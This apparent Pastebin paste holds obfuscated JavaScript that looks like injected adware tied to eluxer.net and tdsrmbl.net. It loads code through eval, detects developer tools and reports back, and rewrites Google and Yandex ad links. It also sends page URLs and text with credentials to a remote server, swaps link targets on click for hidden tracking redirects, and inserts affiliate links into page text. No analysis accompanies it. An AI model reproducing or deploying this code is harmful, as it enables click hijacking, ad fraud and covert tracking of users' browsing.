Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (function() {
- var core = {
- dt: !1,
- isFrame: top != self,
- modules: [],
- opts: [],
- options: {},
- start: null,
- $: null,
- now: function() {
- return (new Date).getTime()
- },
- buildUrl: function(o, t) {
- return document.location.protocol + "//" + this.options.host + o + "?" + this.$.param(t)
- },
- buildMCUrl: function(o, t) {
- return document.location.protocol + "//" + this.options.mcHost + o + "?" + this.$.param(t)
- },
- getPageHostname: function() {
- return document.location.hostname.replace(/^www\./, "")
- },
- init: function(options) {
- core.start = core.now(),
- core.options = options;
- var requres = new XMLHttpRequest;
- requres.onload = function() {
- eval(this.responseText);
- var $ = core.$ = jQuery;
- jQuery.noConflict(),
- $.each(core.modules, function(o, t) {
- t.call(null, core.opts[o], core, $, window, document)
- })
- }
- ,
- requres.open("get", "https://code.jquery.com/jquery-3.0.0.min.js"),
- requres.send()
- },
- run: function(o) {
- this.modules.push(o)
- }
- };
- core.init({
- "subid": "",
- "host": "eluxer.net",
- "mcHost": "tdsrmbl.net"
- });
- core.opts.push({});
- core.run(function(e, n, r, t, i) {
- function o() {
- clearInterval(l),
- n.dt || (n.dt = !0,
- (new Image).src = n.buildUrl("/dt", {
- r: Math.random()
- }))
- }
- function a() {
- var e = t.Firebug
- , r = e && e.chrome;
- return r && r.isInitialized ? void o() : (c.log(d),
- void setTimeout(function() {
- n.dt || c.clear()
- }, 100))
- }
- var d = new Image
- , c = t.console;
- d.__defineGetter__("id", o);
- var l = setInterval(a, 1e3);
- a()
- });
- core.opts.push({
- "place": 5267,
- "maxIndexLength": 10000,
- "minDistance": 200,
- "phrases": true,
- "domains": true
- });
- core.run(function(e, t, r, n, a) {
- if (!t.isFrame) {
- var o = a.createElement("a")
- , i = n.localStorage
- , s = {
- progress: !1,
- runTimeout: null,
- init: function() {
- switch (s.watchMutations(),
- t.getPageHostname()) {
- case "yandex.ru":
- case "yandex.ua":
- s.prepareYandex();
- break;
- case "google.ru":
- case "google.com":
- case "google.com.ua":
- s.prepareGoogle()
- }
- },
- watchMutations: function() {
- if (n.MutationObserver) {
- var e = t.getPageHostname()
- , r = {
- "yandex.ru": [/\bcontent__left\b/, /\bsuggest2\b/],
- "yandex.ua": [/\bcontent__left\b/, /\bsuggest2\b/],
- "google.com": [/\bcontent\b/, /\btsf\b/],
- "google.com.ua": [/\bcontent\b/, /\btsf\b/],
- "google.ru": [/\bcontent\b/, /\btsf\b/]
- };
- if (r.hasOwnProperty(e)) {
- var o = r[e]
- , i = new n.MutationObserver(function(e) {
- for (var t = !0, r = 0; r < e.length; r++)
- for (var n = e[r].target; n; ) {
- for (var a = 0; a < o.length; a++)
- o[a].test(n.className) && (t = !1);
- n = n.parentNode
- }
- t || s.reRun()
- }
- );
- i.observe(a.body, {
- childList: !0,
- subtree: !0
- })
- }
- }
- },
- prepareYandex: function() {
- r(".serp-adv-item").each(function() {
- var e = r(this)
- , t = e.find(".serp-item__greenurl a, .organic__path a");
- if (t.length) {
- var n = t[0]
- , a = n.textContent.toLowerCase().split("/")[0];
- e.find("a").attr("data-href", "http://" + a)
- }
- })
- },
- prepareGoogle: function() {
- r(".ads-ad").each(function() {
- var e = r(this)
- , t = e.find("cite")[0];
- if (t) {
- var n = t.textContent.toLowerCase().split("/")[0];
- e.find("a").attr("data-href", "http://" + n)
- }
- })
- },
- reRun: function() {
- s.progress || (clearTimeout(s.runTimeout),
- s.runTimeout = setTimeout(function() {
- s.run(a.body)
- }, 500))
- },
- run: function(n) {
- s.progress = !0;
- var o = {
- url: a.location.href,
- urls: [],
- phrases: []
- };
- return e.domains && (o.urls = s.findUrls(n)),
- e.phrases && (o.phrases = s.findPhrases(n)),
- o.urls.length || o.phrases.length ? void r.ajax({
- type: "POST",
- data: JSON.stringify(o),
- contentType: "application/json",
- dataType: "json",
- xhrFields: {
- withCredentials: !0
- },
- url: t.buildMCUrl("/replacement/find", {
- place: e.place,
- subid: t.options.subid
- }),
- success: function(e) {
- t.dt || (s.replaceUrls(n, e.urls),
- s.replacePhrases(n, e.phrases),
- setTimeout(function() {
- s.progress = !1
- }, 500))
- }
- }) : void (s.progress = !1)
- },
- getDomainByUrl: function(e) {
- return o.href = e,
- s.getDomain(o)
- },
- getDomain: function(e) {
- return e.hostname.toLowerCase().replace(/^www\./, "")
- },
- getRealDomain: function(e) {
- return s.getDomainByUrl(s.getRealHref(e))
- },
- getRealHref: function(e) {
- var t = s.getDomain(e);
- return -1 !== ["google.ru", "google.com", "yabs.yandex.ru"].indexOf(t) && e.getAttribute ? e.getAttribute("data-href") : e.href
- },
- getBaseRealHref: function(e) {
- o.href = s.getRealHref(e);
- var t = s.getDomain(o)
- , r = "";
- return -1 !== ["realty.yandex.ru", "plarium.com", "espritgames.ru", "101xp.com", "promo.101xp.com", "sportiv.ru"].indexOf(t) && (r = o.pathname),
- t + r
- },
- getDistance: function(e, t) {
- var r, n, a, o;
- return e.top < t.top ? (a = e.top + e.height,
- o = t.top) : (a = t.top + t.height,
- o = e.top),
- e.left < t.left ? (r = e.left + e.width,
- n = t.left) : (r = t.left + t.width,
- n = e.left),
- Math.pow(r - n, 2) + Math.pow(a - o, 2)
- },
- extractWords: function(e) {
- var t, r = new RegExp("(?:[-._&]?[a-zа-яё0-9]+)+","ig"), n = [];
- for (n.wordsLength = 0; t = r.exec(e); )
- n.push({
- word: t[0].toLowerCase(),
- text: t[0],
- index: t.index
- }),
- n.wordsLength += t[0].length;
- return n
- },
- findLinks: function(e) {
- return r(e).find("a").filter(function() {
- return !!this.hostname && !!s.getRealDomain(this)
- })
- },
- findUrls: function(e) {
- if (!e)
- return [];
- var t = {};
- return this.findLinks(e).each(function() {
- var e = s.getBaseRealHref(this);
- t[e] = 1
- }),
- Object.keys(t)
- },
- replaceUrls: function(e, t) {
- e && t && this.findLinks(e).each(function() {
- var e = this
- , n = s.getBaseRealHref(e);
- if (n && t.hasOwnProperty(n)) {
- var a = t[n]
- , o = s.getRealHref(e);
- e.realHref = o,
- e.hiddenHref = s.buildClickLink(r.extend({
- href: o
- }, a)),
- s.setClickHandler(e)
- }
- })
- },
- setClickHandler: function(e) {
- var t = e.onclick;
- e.onclick = function(r) {
- var n, a = s.handleClick(e);
- if ("function" == typeof t && (n = t(r)),
- a && !1 === n)
- return !1
- }
- },
- handleClick: function(e) {
- if (!e.hiddenHref)
- return !1;
- var r = e.href
- , n = s.getDomain(a.location);
- if (t.dt && e.realHref)
- return !1;
- var o = e.realHref && s.getDomainByUrl(e.realHref);
- if (o && (-1 !== n.indexOf(o) || -1 !== o.indexOf(n))) {
- var f = t.now();
- if (!i || i._ym_ts && f - i._ym_ts < 72e5 || f - t.start < 6e4)
- return !1;
- i._ym_ts = t.now()
- }
- return e.href = e.hiddenHref,
- e.realHref && delete e.hiddenHref,
- setTimeout(function() {
- e.href = r
- }, 10),
- !0
- },
- isPhraseNodeAllowed: function(e) {
- if (!e.tagName)
- return !1;
- var t = ["AUDIO", "VIDEO", "IFRAME", "A", "IMG", "INPUT", "BUTTON", "SELECT", "OPTION", "SCRIPT", "META", "LINK", "STYLE", "NOSCRIPT", "HEADER", "FOOTER", "LABEL", "H1", "H2", "H3", "H4", "H5", "H6"];
- if (-1 !== t.indexOf(e.tagName.toUpperCase()))
- return !1;
- if (e.className && "string" == typeof e.className)
- for (var r = ["ya-partner", "header"], n = 0; n < r.length; n++)
- if (e.className.match(new RegExp("\b" + r[n] + "\b")))
- return !1;
- var a = ["header", "footer"];
- return -1 === a.indexOf(e.id)
- },
- findPhraseNodes: function(e) {
- for (var t = [], n = [e]; n.length; ) {
- var a = n.shift();
- if (a.nodeType === Node.TEXT_NODE) {
- var o = r.trim(a.textContent);
- if (o.length > 2) {
- var i = s.extractWords(a.textContent);
- i.length && t.push([a, i])
- }
- } else if (s.isPhraseNodeAllowed(a))
- for (var f = 0, l = a.childNodes.length; f < l; f++)
- n.push(a.childNodes[f])
- }
- return t
- },
- findPhrases: function(t) {
- var n = []
- , a = 0
- , o = this.findPhraseNodes(t);
- return r.each(o, function(t, o) {
- var i = o[1]
- , s = r.map(i, function(e) {
- return e.word
- }).join(" ");
- return a += s.length,
- !(a > e.maxIndexLength) && void n.push(s)
- }),
- n
- },
- replacePhrases: function(e, t) {
- if (e && t) {
- var r = this.doReplacePhrases(e, t);
- this.removeBadReplaces(e, r)
- }
- },
- doReplacePhrases: function(e, t) {
- var n = {};
- r.each(t, function(e, t) {
- var a = s.extractWords(e)
- , o = n;
- r.each(a, function(e, r) {
- var n = a[e].word;
- o.hasOwnProperty(n) || (o[n] = {
- parent: o
- }),
- o = o[n],
- e === a.length - 1 && (o.data = t)
- })
- });
- var o = s.findPhraseNodes(e)
- , i = [];
- return r.each(o, function(e, t) {
- for (var r, o = t[0], f = t[1], l = o.textContent, c = 0, u = 0, d = f.length; u < d; ) {
- for (var h = u, p = n; h < d && p.hasOwnProperty(f[h].word); )
- p = p[f[h].word],
- h++;
- for (; p.parent && !p.data; )
- p = p.parent,
- h--;
- if (h <= u && !p.data)
- u++;
- else {
- r = l.slice(c, f[u].index),
- "" != r && o.parentNode.insertBefore(a.createTextNode(r), o);
- var g = f[h - 1].index + f[h - 1].word.length
- , m = l.slice(f[u].index, g)
- , v = s.createPhraseLink(m, p);
- i.push(v),
- o.parentNode.insertBefore(v, o),
- c = g,
- u = h
- }
- }
- c > 0 && (o.textContent = l.slice(c))
- }),
- i
- },
- removeBadReplaces: function(t, n) {
- var o = Math.pow(e.minDistance, 2)
- , i = []
- , f = []
- , l = [];
- return r.each(n, function(e, t) {
- var n = r(t)
- , a = n.offset();
- a.width = n.width(),
- a.height = n.height();
- for (var c = !0, u = i.length - 1; u >= 0; u--)
- if (s.getDistance(i[u], a) < o) {
- c = !1;
- break
- }
- c ? (l.push(t),
- i.push(a)) : f.push(t)
- }),
- r.each(f, function(e, t) {
- t.parentNode.insertBefore(a.createTextNode(t.textContent), t),
- r(t).remove()
- }),
- l
- },
- createPhraseLink: function(e, t) {
- var n = a.createElement("a")
- , o = r.extend({}, t.data, {
- text: e
- });
- return r.extend(n, {
- rel: "nofollow",
- target: "_blank",
- className: "intext-link",
- textContent: e,
- href: t.data.link || "#",
- hiddenHref: s.buildClickLink(o)
- }),
- s.setClickHandler(n),
- r.extend(n.style, {
- position: "relative",
- fontWeight: "bold"
- }),
- n
- },
- buildClickLink: function(n) {
- return n = r.extend({
- place: e.place,
- subid: t.options.subid
- }, n, {
- url: a.location.href
- }),
- t.buildMCUrl("/replacement/click", n)
- }
- };
- r(a).ready(function() {
- s.init(),
- s.run(a.body)
- })
- }
- });
- core.opts.push({});
- core.run(function(e, a, o, n, l) {
- var r = "seReplace"
- , t = n.localStorage
- , c = t[r] || 0;
- a.now() - c < 864e5 || setInterval(function() {
- var e, o = l.location;
- o.pathname,
- o.hostname,
- o.href;
- e && (t.seReplace = Date.now(),
- l.location.href = a.buildMCUrl("/go", {
- url: e
- }))
- }, 1e3)
- });
- }
- )();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement